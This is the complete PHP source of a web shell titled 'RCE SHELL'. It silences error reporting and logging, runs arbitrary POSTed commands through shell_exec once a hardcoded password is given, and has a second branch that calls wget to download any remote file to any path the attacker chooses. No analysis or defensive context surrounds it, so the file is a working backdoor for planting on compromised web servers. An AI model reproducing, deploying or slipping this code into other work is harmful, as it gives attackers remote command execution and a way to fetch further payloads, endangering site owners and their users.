RCE SHELL

<?php
//header("Content-type: image/png");
@error_reporting(0);
@ini_set('display_errors', 0);
@error_reporting(0);
@set_time_limit(0);
@clearstatcache();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
if(isset($_POST["auth"])&&$_POST["auth"]=="access-shell"){
$cmd = $_POST["cmd"];
        $output = array(
            'status' => 'success',
            'output' => shell_exec($cmd)
        );
        $output = json_encode($output, TRUE);
        echo $output."\n";
}
elseif (empty(isset($_POST["p4z"]))) {
}
else {
    $output = array(
        'status' => 'failed',
        'output' => 'failed'
        );
    $output = json_encode($output, TRUE);
    echo $output."\n";
}
if (isset($_POST["down"])&&$_POST["down"]=="true") {
    $save = $_POST["save"];
    $url = $_POST["url"];
    $output = array(
        'status' => 'success',
        'response' => exec("wget -O ".$save." ".$url)
);
    $output = json_encode($output, TRUE);
    echo $output."\n";
}
elseif (empty($_POST["down"])) {
}
else {
    echo "Failed\n";
}
?>